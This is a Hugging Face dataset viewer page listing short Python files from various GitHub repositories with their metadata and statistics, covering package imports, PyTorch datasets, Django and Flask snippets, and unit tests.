xszheng2020/the_stack_dedup_python_hits_5 · Datasets at Hugging Face

2e35b116b97108ae07fbadd2426002db1f0dc787

54

py

Python

models/audio/vggish/__init__.py

tunasoup/multimodal-scene-classification

85f72da3f6ab947fff0929a6ff0e4a8d1fd34377

[ "MIT" ]

null

models/audio/vggish/__init__.py

tunasoup/multimodal-scene-classification

85f72da3f6ab947fff0929a6ff0e4a8d1fd34377

[ "MIT" ]

null

models/audio/vggish/__init__.py

tunasoup/multimodal-scene-classification

85f72da3f6ab947fff0929a6ff0e4a8d1fd34377

[ "MIT" ]

null

from .vggish_custom_inference import extract_features

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2e49a9d1ef77d6ec94750aab360efea0a66b0304

159

py

Python

neuronlp/__init__.py

XuezheMax/NeuroNLP

0098d876584c1dcef0b46478a5ced7affd089d78

[ "MIT" ]

16

2015-11-22T19:03:12.000Z

2019-06-20T03:59:22.000Z

neuronlp/__init__.py

XuezheMax/NeuroNLP

0098d876584c1dcef0b46478a5ced7affd089d78

[ "MIT" ]

1

2017-06-18T08:58:23.000Z

2017-06-22T13:49:10.000Z

neuronlp/__init__.py

XuezheMax/NeuroNLP

0098d876584c1dcef0b46478a5ced7affd089d78

[ "MIT" ]

5

2017-03-13T13:44:54.000Z

2018-07-17T04:23:00.000Z

__author__ = 'max' from . import utils from . import objectives from . import layers from . import io from . import regularizations __version__ = "0.1.dev1"

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5cf258ff9df9ea7494e86ce14f4b7246197af9c2

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py

Python

codes/a_config/_rl_parameters/on_policy/parameter_on_policy.py

linklab/link_rl

e3d3196dcd49fd71b45941e07fc0d8a27d1d8c99

[ "MIT" ]

null

codes/a_config/_rl_parameters/on_policy/parameter_on_policy.py

linklab/link_rl

e3d3196dcd49fd71b45941e07fc0d8a27d1d8c99

[ "MIT" ]

null

codes/a_config/_rl_parameters/on_policy/parameter_on_policy.py

linklab/link_rl

e3d3196dcd49fd71b45941e07fc0d8a27d1d8c99

[ "MIT" ]

1

2021-11-23T12:30:37.000Z

import enum class PARAMETERS_ON_POLICY: pass

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cf0114b4298d650667715505c6dbef78dcc811ba

97

py

Python

mainapp/admin.py

H0oxy/exeam21.07.03

340bbc179ef796e30b1868276a9c886164c03db4

[ "MIT" ]

null

mainapp/admin.py

H0oxy/exeam21.07.03

340bbc179ef796e30b1868276a9c886164c03db4

[ "MIT" ]

null

mainapp/admin.py

H0oxy/exeam21.07.03

340bbc179ef796e30b1868276a9c886164c03db4

[ "MIT" ]

null

from django.contrib import admin from mainapp.models import Colors admin.site.register(Colors)

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cf06651c3b90d5c4bcfe8881cf59379ff0f59544

157

py

Python

general/resources/example_logging.py

Transrian/bd71-courses

b7e145eeb394354d0a49ce85fec752fa894e2fd3

[ "MIT" ]

null

general/resources/example_logging.py

Transrian/bd71-courses

b7e145eeb394354d0a49ce85fec752fa894e2fd3

[ "MIT" ]

null

general/resources/example_logging.py

Transrian/bd71-courses

b7e145eeb394354d0a49ce85fec752fa894e2fd3

[ "MIT" ]

null

import logging logging.basicConfig(format="%(asctime)s - %(name)s - %(process)d - %(filename)s - %(levelname)s - %(message)s") logging.warn("Hello World!")

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null

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5

cf1da4e7892237fc58be118a079ae0a3fe062389

94

py

Python

main.py

LordBayron94/Extractive-Summarisation-of-German-Wikipedia

7a75d6d1ea9b66b9366467ebdad21051ff22b1e1

[ "MIT" ]

null

main.py

LordBayron94/Extractive-Summarisation-of-German-Wikipedia

7a75d6d1ea9b66b9366467ebdad21051ff22b1e1

[ "MIT" ]

null

main.py

LordBayron94/Extractive-Summarisation-of-German-Wikipedia

7a75d6d1ea9b66b9366467ebdad21051ff22b1e1

[ "MIT" ]

null

import pandas as pd, numpy as np, os, sys print('Hello world') print('this is another test')

18.8

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5

cf41e5970aa5ae104106446cef3af5594e60b7aa

269

py

Python

optimistic.py

aman-tiwari/searchsound

c15b594df4cc2ad5e1d428bc88905c88b167fef4

[ "CC-BY-3.0" ]

1

2019-03-01T08:54:09.000Z

optimistic.py

aman-tiwari/searchsound

c15b594df4cc2ad5e1d428bc88905c88b167fef4

[ "CC-BY-3.0" ]

1

2015-01-11T18:31:18.000Z

2015-01-12T22:55:33.000Z

optimistic.py

aman-tiwari/searchsound

c15b594df4cc2ad5e1d428bc88905c88b167fef4

[ "CC-BY-3.0" ]

null

class OptimisticDict(dict): def __init__(self, factory_func): self.factory_func = factory_func super(OptimisticDict, self).__init__() def __missing__(self, key): self[key] = self.factory_func(key) return self.factory_func(key)

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null

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1

0

5

cf66e68ffed31665aac62982dddef5ddbb7b8c1b

7,102

py

Python

datasets.py

tungnd1705/PC3-pytorch

e1ed5f475da387cb92dd1e3830e7d195562b4b64

[ "MIT" ]

61

2019-12-08T10:10:48.000Z

2021-04-14T14:26:13.000Z

datasets.py

tungnd1705/PC3-pytorch

e1ed5f475da387cb92dd1e3830e7d195562b4b64

[ "MIT" ]

1

2019-12-19T19:10:53.000Z

datasets.py

tungnd1705/PC3-pytorch

e1ed5f475da387cb92dd1e3830e7d195562b4b64

[ "MIT" ]

14

2019-12-14T06:36:37.000Z

2021-11-27T15:19:55.000Z

import os from os import path import numpy as np import torch from data import sample_planar, sample_pole from torch.utils.data import Dataset torch.set_default_dtype(torch.float64) class BaseDataset(Dataset): def __init__(self, data_path, sample_size, noise): self.sample_size = sample_size self.noise = noise self.data_path = data_path if not os.path.exists(self.data_path): os.makedirs(self.data_path) self._process() self.data_x, self.data_u, self.data_x_next = torch.load( self.data_path + "{:d}_{:.0f}.pt".format(self.sample_size, self.noise) ) def __len__(self): return len(self.data_x) def __getitem__(self, index): return self.data_x[index], self.data_u[index], self.data_x_next[index] def _process_image(self, img): pass def check_exists(self): return path.exists(self.data_path + "{:d}_{:.0f}.pt".format(self.sample_size, self.noise)) def _process(self): pass class PlanarDataset(BaseDataset): width = 40 height = 40 action_dim = 2 def __init__(self, sample_size, noise): data_path = "data/planar/" super(PlanarDataset, self).__init__(data_path, sample_size, noise) def _process_image(self, img): return torch.from_numpy(img.flatten()).unsqueeze(0) def _process(self): if self.check_exists(): return else: ( x_numpy_data, u_numpy_data, x_next_numpy_data, state_numpy_data, state_next_numpy_data, ) = sample_planar.sample(sample_size=self.sample_size, noise=self.noise) data_len = len(x_numpy_data) # place holder for data data_x = torch.zeros(data_len, self.width * self.height) data_u = torch.zeros(data_len, self.action_dim) data_x_next = torch.zeros(data_len, self.width * self.height) for i in range(data_len): data_x[i] = self._process_image(x_numpy_data[i]) data_u[i] = torch.from_numpy(u_numpy_data[i]) data_x_next[i] = self._process_image(x_next_numpy_data[i]) data_set = (data_x, data_u, data_x_next) with open(self.data_path + "{:d}_{:.0f}.pt".format(self.sample_size, self.noise), "wb") as f: torch.save(data_set, f) class PendulumDataset(BaseDataset): width = 48 height = 48 * 2 action_dim = 1 def __init__(self, sample_size, noise): data_path = "data/pendulum/" super(PendulumDataset, self).__init__(data_path, sample_size, noise) def _process_image(self, img): x = np.vstack((img[:, :, 0], img[:, :, 1])).flatten() return torch.from_numpy(x).unsqueeze(0) def _process(self): if self.check_exists(): return else: ( x_numpy_data, u_numpy_data, x_next_numpy_data, state_numpy_data, state_next_numpy_data, ) = sample_pole.sample(env_name="pendulum", sample_size=self.sample_size, noise=self.noise) data_len = len(x_numpy_data) # place holder for data data_x = torch.zeros(data_len, self.width * self.height) data_u = torch.zeros(data_len, self.action_dim) data_x_next = torch.zeros(data_len, self.width * self.height) for i in range(data_len): data_x[i] = self._process_image(x_numpy_data[i]) data_u[i] = torch.from_numpy(u_numpy_data[i]) data_x_next[i] = self._process_image(x_next_numpy_data[i]) data_set = (data_x, data_u, data_x_next) with open(self.data_path + "{:d}_{:.0f}.pt".format(self.sample_size, self.noise), "wb") as f: torch.save(data_set, f) class CartPoleDataset(BaseDataset): width = 80 height = 80 * 2 action_dim = 1 def __init__(self, sample_size, noise): data_path = "data/cartpole/" super(CartPoleDataset, self).__init__(data_path, sample_size, noise) def _process_image(self, img): x = torch.zeros(size=(2, self.width, self.width)) x[0, :, :] = torch.from_numpy(img[:, :, 0]) x[1, :, :] = torch.from_numpy(img[:, :, 1]) return x.unsqueeze(0) def _process(self): if self.check_exists(): return else: ( x_numpy_data, u_numpy_data, x_next_numpy_data, state_numpy_data, state_next_numpy_data, ) = sample_pole.sample(env_name="cartpole", sample_size=self.sample_size, noise=self.noise) data_len = len(x_numpy_data) # place holder for data data_x = torch.zeros(data_len, 2, self.width, self.width) data_u = torch.zeros(data_len, self.action_dim) data_x_next = torch.zeros(data_len, 2, self.width, self.width) for i in range(data_len): data_x[i] = self._process_image(x_numpy_data[i]) data_u[i] = torch.from_numpy(u_numpy_data[i]) data_x_next[i] = self._process_image(x_next_numpy_data[i]) data_set = (data_x, data_u, data_x_next) with open(self.data_path + "{:d}_{:.0f}.pt".format(self.sample_size, self.noise), "wb") as f: torch.save(data_set, f) class ThreePoleDataset(BaseDataset): width = 80 height = 80 * 2 action_dim = 3 def __init__(self, sample_size, noise): data_path = "data/threepole/" super(ThreePoleDataset, self).__init__(data_path, sample_size, noise) def _process_image(self, img): x = torch.zeros(size=(2, self.width, self.width)) x[0, :, :] = torch.from_numpy(img[:, :, 0]) x[1, :, :] = torch.from_numpy(img[:, :, 1]) return x.unsqueeze(0) def _process(self): if self.check_exists(): return else: ( x_numpy_data, u_numpy_data, x_next_numpy_data, state_numpy_data, state_next_numpy_data, ) = sample_pole.sample(env_name="threepole", sample_size=self.sample_size, noise=self.noise) data_len = len(x_numpy_data) # place holder for data data_x = torch.zeros(data_len, 2, self.width, self.width) data_u = torch.zeros(data_len, self.action_dim) data_x_next = torch.zeros(data_len, 2, self.width, self.width) for i in range(data_len): data_x[i] = self._process_image(x_numpy_data[i]) data_u[i] = torch.from_numpy(u_numpy_data[i]) data_x_next[i] = self._process_image(x_next_numpy_data[i]) data_set = (data_x, data_u, data_x_next) with open(self.data_path + "{:d}_{:.0f}.pt".format(self.sample_size, self.noise), "wb") as f: torch.save(data_set, f)

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5

d842019b46c2d35f07e814c91cb8e9b3e4b6fc36

124

py

Python

models/__init__.py

longrootchen/cifar100-pytorch

5d85ec34c2eb30d3619d3b7cf5b558c0234333b1

[ "MIT" ]

2

2020-09-25T08:09:44.000Z

2020-09-29T07:27:07.000Z

models/__init__.py

longrootchen/cifar100-pytorch

5d85ec34c2eb30d3619d3b7cf5b558c0234333b1

[ "MIT" ]

null

models/__init__.py

longrootchen/cifar100-pytorch

5d85ec34c2eb30d3619d3b7cf5b558c0234333b1

[ "MIT" ]

null

# -*-coding:utf-8-*- from .resnext import * def get_model(config): return globals()[config.arch](config.num_classes)

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5

d85fe6992d00d9dadfba53f9bfa8510afcf680ca

161

py

Python

Exercise 1.py

BernardoBeiriz/Cryptography

4b18f83ce3b8e403188362904cadb0b584507ef1

[ "MIT" ]

null

Exercise 1.py

BernardoBeiriz/Cryptography

4b18f83ce3b8e403188362904cadb0b584507ef1

[ "MIT" ]

null

Exercise 1.py

BernardoBeiriz/Cryptography

4b18f83ce3b8e403188362904cadb0b584507ef1

[ "MIT" ]

null

pares = input() for i in range (0, pares): a, b = input() print("%d %d %d %d %d" % ((a+b), (a-b), (a*b), (a//b), (a%b))) print("---")

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d86aee2b168477305f473d7f6f97c02b26c40a91

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py

Python

Tests/test_Roles.py

ergoregion/Rota-Program

44dab4cb11add184619d88aa0fcab61532d128e6

[ "MIT" ]

null

Tests/test_Roles.py

ergoregion/Rota-Program

44dab4cb11add184619d88aa0fcab61532d128e6

[ "MIT" ]

null

Tests/test_Roles.py

ergoregion/Rota-Program

44dab4cb11add184619d88aa0fcab61532d128e6

[ "MIT" ]

null

__author__ = 'Neil Butcher' import unittest from Rota_System import Roles class RoleTest(unittest.TestCase): def setUp(self): Roles.GlobalRoleList.clear() Roles.GlobalRoleList.add_role(Roles.Role('Baker', 'B', 10)) Roles.GlobalRoleList.add_role(Roles.Role('Steward', 'S', 9)) Roles.GlobalRoleList.add_role(Roles.Role('Fisherman', 'F', 7)) def tearDown(self): Roles.GlobalRoleList.clear() def testOuterCreation(self): baker = Roles.role_from_code('B') self.assertEqual(baker.code, 'B') self.assertEqual(baker.description, 'Baker') baker = Roles.role('B') self.assertEqual(baker.code, 'B') self.assertEqual(baker.description, 'Baker') baker = Roles.role('Baker') self.assertEqual(baker.code, 'B') self.assertEqual(baker.description, 'Baker') def testCreation(self): baker = Roles.role('B') self.assertEqual(baker.code, 'B') self.assertEqual(baker.description, 'Baker') def testListCreation(self): roles = Roles.RoleList() roles.all() baker = roles.role_from_code('B') self.assertEqual(baker.code, 'B') self.assertEqual(baker.description, 'Baker') baker = roles.role_from_code('B ') self.assertEqual(baker.code, 'B') self.assertEqual(baker.description, 'Baker') def testListInitCreation(self): roles = Roles.RoleList('B') self.assertEqual(len(roles.roles), 1, 'should be a role already') def testLookup(self): roles = Roles.RoleList() roles.all() self.assertTrue(roles.includes('S'), 'All roles should include steward') self.assertTrue(roles.includes('B'), 'All roles should include baker') self.assertTrue(roles.includes(Roles.role('B')), 'All roles should include baker as class') self.assertTrue(roles.includes('S '), 'All roles should include steward') def testSinglePopulatedList(self): roles = Roles.RoleList() roles.populate_from_codes('S') self.assertFalse(roles.includes('B'), 'this list should not include baker') self.assertTrue(roles.includes(Roles.role('S')), 'This list should include steward') self.assertTrue(roles.includes('S '), 'This list should include steward') def testSingleAddedList(self): roles = Roles.RoleList() roles.add_code('S') self.assertFalse(roles.includes('B'), 'this list should not include baker') self.assertTrue(roles.includes(Roles.role('S')), 'This list should include steward') self.assertTrue(roles.includes('S '), 'This list should include steward') self.assertEqual(roles.number_of_roles(), 1) roles.add_code('S') self.assertEqual(roles.number_of_roles(), 1) roles.add_code('B') self.assertEqual(roles.number_of_roles(), 2) def testMultiPopulatedList(self): roles = Roles.RoleList() roles.populate_from_codes('F S') self.assertFalse(roles.includes('B'), 'this list should not include baker') self.assertTrue(roles.includes(Roles.role('Steward')), 'This list should include steward') self.assertTrue(roles.includes(Roles.role('F')), 'This list should also include fisherman') def testMultiAddedList(self): roles = Roles.RoleList() roles.add_code('S') self.assertEqual(roles.number_of_roles(), 1) roles.add_code('F') roles.add_code('S') self.assertEqual(roles.number_of_roles(), 2) self.assertFalse(roles.includes('B'), 'this list should not include baker') self.assertTrue(roles.includes(Roles.role('S')), 'This list should include steward') self.assertTrue(roles.includes(Roles.role('Fisherman')), 'This list should also include fisherman') def testRemovingList(self): roles = Roles.RoleList() roles.add_code('S') self.assertEqual(roles.number_of_roles(), 1) roles.remove_code('S') roles.remove_code('F') self.assertEqual(roles.number_of_roles(), 0) roles.add_code(' S') roles.add_code('F ') self.assertEqual(roles.number_of_roles(), 2) roles.remove_code('S') roles.remove_code('B') self.assertEqual(roles.number_of_roles(), 1) roles.add_code('S') roles.add_code('B') self.assertEqual(roles.number_of_roles(), 3) def testOutputList(self): roles = Roles.RoleList() roles.populate_from_codes('F S') self.assertTrue('F' in roles.list_of_codes().split()) self.assertTrue('S' in roles.list_of_codes().split()) self.assertFalse('B' in roles.list_of_codes().split()) roles.all() self.assertTrue('F' in roles.list_of_codes().split()) self.assertTrue('S' in roles.list_of_codes().split()) self.assertTrue('B' in roles.list_of_codes().split()) if __name__ == "__main__": # import sys;sys.argv = ['', 'Test.testName'] unittest.main()

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5

2b52b55339195e4d6dd601bd2212436101072129

27

py

Python

video_cropper/__main__.py

jbohnslav/video_cropper

76b9aa52982f40289f4bdad8e6aa4016d9770c8b

[ "MIT" ]

null

video_cropper/__main__.py

jbohnslav/video_cropper

76b9aa52982f40289f4bdad8e6aa4016d9770c8b

[ "MIT" ]

null

video_cropper/__main__.py

jbohnslav/video_cropper

76b9aa52982f40289f4bdad8e6aa4016d9770c8b

[ "MIT" ]

null

from .gui import run run()

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20

0.703704

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3.8

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3

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0

1

0

1

0

5

996161adb4ed5a6b0e4dcbd20c8216465d2e5f39

277

py

Python

chakin/commands/cmd_load.py

dreyes17/python-chado

94f77b1db95010ff4629b869ea5849fcc943a18c

[ "MIT" ]

8

2017-09-08T15:19:26.000Z

2022-02-23T17:28:01.000Z

chakin/commands/cmd_load.py

dreyes17/python-chado

94f77b1db95010ff4629b869ea5849fcc943a18c

[ "MIT" ]

9

2018-02-07T18:14:41.000Z

2022-03-03T13:14:32.000Z

chakin/commands/cmd_load.py

dreyes17/python-chado

94f77b1db95010ff4629b869ea5849fcc943a18c

[ "MIT" ]

5

2018-09-28T08:03:52.000Z

2022-03-02T17:51:32.000Z

import click from chakin.commands.load.blast import cli as blast from chakin.commands.load.go import cli as go from chakin.commands.load.interpro import cli as interpro @click.group() def cli(): pass cli.add_command(blast) cli.add_command(go) cli.add_command(interpro)

18.466667

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0

1

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null

0

1

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5

999853a538991be7fd4fbbeaf06162f0eea353bc

56

py

Python

german/__init__.py

jfilter/german-preprocessing

18c340bc9a1d43e1bfb636103fabb78dddf4969c

[ "MIT" ]

5

2019-07-31T09:39:06.000Z

2021-08-03T14:25:46.000Z

german/__init__.py

jfilter/german-preprocessing

18c340bc9a1d43e1bfb636103fabb78dddf4969c

[ "MIT" ]

1

2021-05-02T15:54:27.000Z

german/__init__.py

jfilter/german-preprocessing

18c340bc9a1d43e1bfb636103fabb78dddf4969c

[ "MIT" ]

null

from .preprocessing import preprocess, clean, lemmatize

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0

null

0

1

0

1

0

1

0

5

5116787b937a73d901b3131c1947a272c986a8cd

185

py

Python

core/__init__.py

xieguo/sublime_db

f2a7b0e55e9f0b77b90a9aa2ea4c4f9136db1315

[ "MIT" ]

1

2019-01-21T17:37:32.000Z

core/__init__.py

xieguo/sublime_db

f2a7b0e55e9f0b77b90a9aa2ea4c4f9136db1315

[ "MIT" ]

null

core/__init__.py

xieguo/sublime_db

f2a7b0e55e9f0b77b90a9aa2ea4c4f9136db1315

[ "MIT" ]

null

from .core import * from .sublime import * from .event import Handle, Event, EventDispatchMain def startup () -> None: start_event_loop() def shutdown () -> None: stop_event_loop()

18.5

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null

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1

0

1

0

1

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5

51319854fa069b39ac89997b66510992b67aa401

236

py

Python

jetavator/sql_model/__init__.py

jetavator/jetavator

6edc7b57532809f9903735c333544658631252b5

[ "Apache-2.0" ]

null

jetavator/sql_model/__init__.py

jetavator/jetavator

6edc7b57532809f9903735c333544658631252b5

[ "Apache-2.0" ]

86

2020-04-11T18:03:32.000Z

2021-06-15T14:48:45.000Z

jetavator/sql_model/__init__.py

jetavator/jetavator

6edc7b57532809f9903735c333544658631252b5

[ "Apache-2.0" ]

null

from .SatelliteOwnerModel import SatelliteOwnerModel from .HubModel import HubModel from .LinkModel import LinkModel from .SatelliteModel import SatelliteModel from .SourceModel import SourceModel from .ProjectModel import ProjectModel

33.714286

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236

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0

1

0

true

0

1

0

1

0

1

0

null

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1

0

null

0

1

0

1

0

1

0

5

513de41f0d03dc751a5826c48a698c35f7862034

108

py

Python

aphla/machines/nsls2v3bsrline/__init__.py

NSLS-II/aphla

ceb5410dc836a8fb16321b6dc5e10d442be765c5

[ "BSD-3-Clause" ]

null

aphla/machines/nsls2v3bsrline/__init__.py

NSLS-II/aphla

ceb5410dc836a8fb16321b6dc5e10d442be765c5

[ "BSD-3-Clause" ]

1

2020-02-17T18:56:18.000Z

2020-02-20T17:06:20.000Z

aphla/machines/nsls2v3bsrline/__init__.py

NSLS-II/aphla

ceb5410dc836a8fb16321b6dc5e10d442be765c5

[ "BSD-3-Clause" ]

1

2021-03-08T16:07:11.000Z

""" NSLS2V3 BSR Line ----------------- """ # :author: Lingyun Yang <lyyang@bnl.gov> from lattice import *

12

40

0.555556

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108

5

1

0

0.021978

0.157407

108

8

41

13.5

0.637363

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0

1

0

true

0

1

0

1

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1

0

null

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1

0

null

0

1

0

1

0

1

0

5

5165926046e2f4d0939f4031a82105080d8f4060

110

py

Python

src/AIEngine/__init__.py

jonathanyeh0723/meme-generator

7f50efda871a4375aabe47fdeb5e5a8f673c7c11

[ "Apache-2.0" ]

1

2021-08-13T07:38:27.000Z

src/AIEngine/__init__.py

jonathanyeh0723/meme-generator

7f50efda871a4375aabe47fdeb5e5a8f673c7c11

[ "Apache-2.0" ]

null

src/AIEngine/__init__.py

jonathanyeh0723/meme-generator

7f50efda871a4375aabe47fdeb5e5a8f673c7c11

[ "Apache-2.0" ]

null

"""Lets the Python know that a directory contains code for a Python module.""" from .AIEngine import AIEngine

36.666667

78

0.772727

17

110

5

0.823529

0

0.154545

110

2

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0

1

0

true

0

1

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0

null

0

1

0

1

0

1

0

5

516670ed7d3d3ac1c7190b020615414f538db4e0

61

py

Python

scraper_pipeline/exception/connection_exception.py

rlrossiter/scraper-pipeline

cdbf54a3f794fcedf9408f5453f87d87c3cda89a

[ "MIT" ]

1

2021-01-22T18:13:58.000Z

scraper_pipeline/exception/connection_exception.py

rlrossiter/scraper-pipeline

cdbf54a3f794fcedf9408f5453f87d87c3cda89a

[ "MIT" ]

5

2021-02-02T07:41:04.000Z

2021-02-02T07:47:44.000Z

scraper_pipeline/exception/connection_exception.py

rlrossiter/scraper-pipeline

cdbf54a3f794fcedf9408f5453f87d87c3cda89a

[ "MIT" ]

null

class ConnectionNotEstablishedException(Exception): pass

20.333333

51

0.836066

4

61

12.75

1

0

0.114754

61

2

52

30.5

0.944444

0

1

0

true

0.5

0

0.5

0

1

0

1

null

0

1

0

null

0

1

0

5

5a98ac47b981a683c2a2290479a65238a0b87f8c

1,305

py

Python

tests/unit/test_http_utils.py

doytsujin/localstack

46ffd646af553f381cc567e4a7a06f604640c1c7

[ "Apache-2.0" ]

1

2021-07-11T09:40:53.000Z

tests/unit/test_http_utils.py

doytsujin/localstack

46ffd646af553f381cc567e4a7a06f604640c1c7

[ "Apache-2.0" ]

43

2021-09-08T19:03:36.000Z

2021-10-07T01:47:05.000Z

tests/unit/test_http_utils.py

lambdafunc/localstack

6285b43bec57435a2179310a8de2af8d8d8cf8dd

[ "Apache-2.0" ]

null

from localstack.utils import http_utils def test_add_query_params_to_url(): tt = [ { "uri": "http://localhost.localstack.cloud", "query_params": {"param": "122323"}, "expected": "http://localhost.localstack.cloud?param=122323", }, { "uri": "http://localhost.localstack.cloud?foo=bar", "query_params": {"param": "122323"}, "expected": "http://localhost.localstack.cloud?foo=bar&param" "=122323", }, { "uri": "http://localhost.localstack.cloud/foo/bar", "query_params": {"param": "122323"}, "expected": "http://localhost.localstack.cloud/foo/bar?param" "=122323", }, { "uri": "http://localhost.localstack.cloud/foo/bar?foo=bar", "query_params": {"param": "122323"}, "expected": "http://localhost.localstack.cloud/foo/bar?foo=bar" "&param=122323", }, { "uri": "http://localhost.localstack.cloud?foo=bar", "query_params": {"foo": "bar"}, "expected": "http://localhost.localstack.cloud?foo=bar", }, ] for t in tt: result = http_utils.add_query_params_to_url(t["uri"], t["query_params"]) assert result == t["expected"]

35.27027

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133

1,305

5.150376

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null

0

1

0

null

0

5

5aa2d090272b957f636e44830b95a53df10239f7

168

py

Python

src/rl/np/factories/__init__.py

djjh/reinforcement-learning-labs

22706dab9e7f16e364ee4ed79c0bd67a343e5b08

[ "MIT" ]

1

2019-10-06T11:45:52.000Z

src/rl/tf/factories/__init__.py

djjh/reinforcement-learning-labs

22706dab9e7f16e364ee4ed79c0bd67a343e5b08

[ "MIT" ]

null

src/rl/tf/factories/__init__.py

djjh/reinforcement-learning-labs

22706dab9e7f16e364ee4ed79c0bd67a343e5b08

[ "MIT" ]

null

from .input_factory import InputFactory from .policy_factory import PolicyFactory from .probability_distribution_type_factory import ProbabilityDistributionTypeFactory

42

85

0.910714

17

168

8.705882

0.647059

0.263514

0

0.071429

168

3

86

56

0.948718

0

1

0

true

0

1

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1

0

1

0

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1

0

1

0

null

0

1

0

1

0

5

5ad3b57846dac22e161ae7e897c41e56bde08747

111

py

Python

labs/tony-thursday-15-jg107/shapes.py

TonyJenkins/lbu-python-code

d02d843290e887d016cdb05ddc1a8639874f2e06

[ "Unlicense" ]

2

2021-08-20T13:02:45.000Z

2021-10-03T20:34:45.000Z

labs/tony-thursday-15-jg107/shapes.py

TonyJenkins/lbu-python-code

d02d843290e887d016cdb05ddc1a8639874f2e06

[ "Unlicense" ]

null

labs/tony-thursday-15-jg107/shapes.py

TonyJenkins/lbu-python-code

d02d843290e887d016cdb05ddc1a8639874f2e06

[ "Unlicense" ]

null

#!/usr/bin/env python3 import shape_areas if __name__ == '__main__': print(shape_areas.square_area(3))

12.333333

37

0.711712

16

111

4.25

0.875

0.294118

0

0.021277

0.153153

111

8

38

13.875

0.702128

0.189189

0

0.089888

0

1

0

true

0

0.333333

0

0.333333

1

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null

1

0

1

0

null

0

1

0

1

0

5

5afc279e64ee178890dd5eadfbc372dcb63c100c

58

py

Python

thirteen/one_fred.py

frrad/eopi

ff5d1c40c721edd16480a98e07fb36f47f2416bf

[ "MIT" ]

null

thirteen/one_fred.py

frrad/eopi

ff5d1c40c721edd16480a98e07fb36f47f2416bf

[ "MIT" ]

7

2018-06-04T16:28:49.000Z

2018-07-09T01:35:24.000Z

thirteen/one_fred.py

frrad/eopi

ff5d1c40c721edd16480a98e07fb36f47f2416bf

[ "MIT" ]

null

def hack(x, y): return list(sorted(list(set(x + y))))

19.333333

41

0.586207

11

58

3.090909

0.727273

0.117647

0

0.189655

58

2

42

29

0.723404

0

1

0.5

false

0

0.5

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

51777f3c31b0418064341e14c3f20529b298a22d

191

py

Python

introduction_to_python/introduction_to_flask/app.py

techmodal/pysesh

28f0680dca0497466a83790c0d9325ad1d66f6f9

[ "MIT" ]

1

2019-11-29T15:26:41.000Z

introduction_to_python/introduction_to_flask/app.py

techmodal/pysesh

28f0680dca0497466a83790c0d9325ad1d66f6f9

[ "MIT" ]

null

introduction_to_python/introduction_to_flask/app.py

techmodal/pysesh

28f0680dca0497466a83790c0d9325ad1d66f6f9

[ "MIT" ]

1

2021-02-20T19:08:02.000Z

from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello World!" @app.route('/hello/<name>') def hello_name(name=None): return "Hello " + name + "!"

17.363636

32

0.633508

26

191

4.461538

0.423077

0.232759

0

0.172775

191

10

33

19.1

0.734177

0

0.172775

0

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0

0.125

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0

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0

null

1

0

null

0

1

0

1

0

5

5197b78b0ba60f23cea9615960ef4d2583014b16

235

py

Python

studentdb/model.py

zhengjiejiang/homework

3b675006c91b220fa9091a931ae7647042c59342

[ "BSD-3-Clause" ]

null

studentdb/model.py

zhengjiejiang/homework

3b675006c91b220fa9091a931ae7647042c59342

[ "BSD-3-Clause" ]

null

studentdb/model.py

zhengjiejiang/homework

3b675006c91b220fa9091a931ae7647042c59342

[ "BSD-3-Clause" ]

null

from django.db import models class StudentDB(models.Model): fisrtname = models.CharField(max_length = 50) lastname = models.CharField(max_length = 50) age = models.FloatField() email = models.CharField(max_length=100)

29.375

49

0.731915

30

235

5.633333

0.6

0.266272

0.319527

0.426036

0.307692

0

0.035714

0.165957

235

7

50

33.571429

0.826531

0

1

0

false

0

0.166667

0

1

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null

1

0

1

0

null

0

1

0

5

51a6513f7187d3e71fad4bc098e85819f0a7e7eb

145

py

Python

src/games/pagination.py

vinicius91/django-rest-framework-api

c3fc22eec083c5dac49798cbe89ddc20eb967247

[ "MIT" ]

10

2019-07-30T17:20:23.000Z

2021-11-08T13:10:50.000Z

restful_python_section_08/gamesapi/games/pagination.py

hackeziah/Building-RESTful-Python-Web-Services-with-Django

d795910a09000f07b962a7edad287df0fed2a362

[ "MIT" ]

8

2020-06-06T00:43:02.000Z

2022-02-10T11:52:43.000Z

posts_api_v1/pagination.py

ilearnToday/django_series

aaff52cade1ac45e459d9a5e0bade8c16b53e248

[ "MIT" ]

4

2019-05-19T11:36:31.000Z

2021-07-13T01:04:56.000Z

from rest_framework.pagination import LimitOffsetPagination class LimitOffsetPaginationWithMaxLimit(LimitOffsetPagination): max_limit = 10

24.166667

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0.862069

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145

10.25

0.916667

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145

5

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0

1

0

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0

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1

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null

0

1

0

1

0

5

51d52fd98a18f2118ec98f186bd532d9ebac1e3b

389

py

Python

tracker/views.py

Elephant34/HomeworkTracker

006d648761320d1d4328100aeaf881b942bd92f8

[ "MIT" ]

null

tracker/views.py

Elephant34/HomeworkTracker

006d648761320d1d4328100aeaf881b942bd92f8

[ "MIT" ]

null

tracker/views.py

Elephant34/HomeworkTracker

006d648761320d1d4328100aeaf881b942bd92f8

[ "MIT" ]

null

from django.shortcuts import render from django.contrib.auth.decorators import login_required # Create your views here. @login_required(login_url='/accounts/login/') def home(request): return render(request, 'tracker/home.html', {}) def about(request): return render(request, 'tracker/about.html', {}) def account(request): return render(request, "tracker/account.html", {})

29.923077

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0

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13

58

29.923077

0.833819

0.059126

0

0.194521

0

1

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false

0

0.222222

0.333333

0.888889

0

null

0

1

0

null

0

1

0

1

0

5

a40ae7198de46aeb0482d0cc1bf5bbd58a5b0583

862

py

Python

convolutional_rnn/__init__.py

fjbriones/emotalkingface

4c5c7acda66c8ba78b202c75a73f7066ec2fda1c

[ "MIT" ]

28

2021-06-28T02:52:08.000Z

2022-03-29T02:53:49.000Z

convolutional_rnn/__init__.py

ramizf/emotalkingface

d3d838be705ea74d4165891720739d749aaf38a5

[ "MIT" ]

8

2021-08-19T00:40:06.000Z

2022-03-22T21:15:58.000Z

convolutional_rnn/__init__.py

ramizf/emotalkingface

d3d838be705ea74d4165891720739d749aaf38a5

[ "MIT" ]

11

2021-07-24T16:06:45.000Z

2022-03-30T07:45:01.000Z

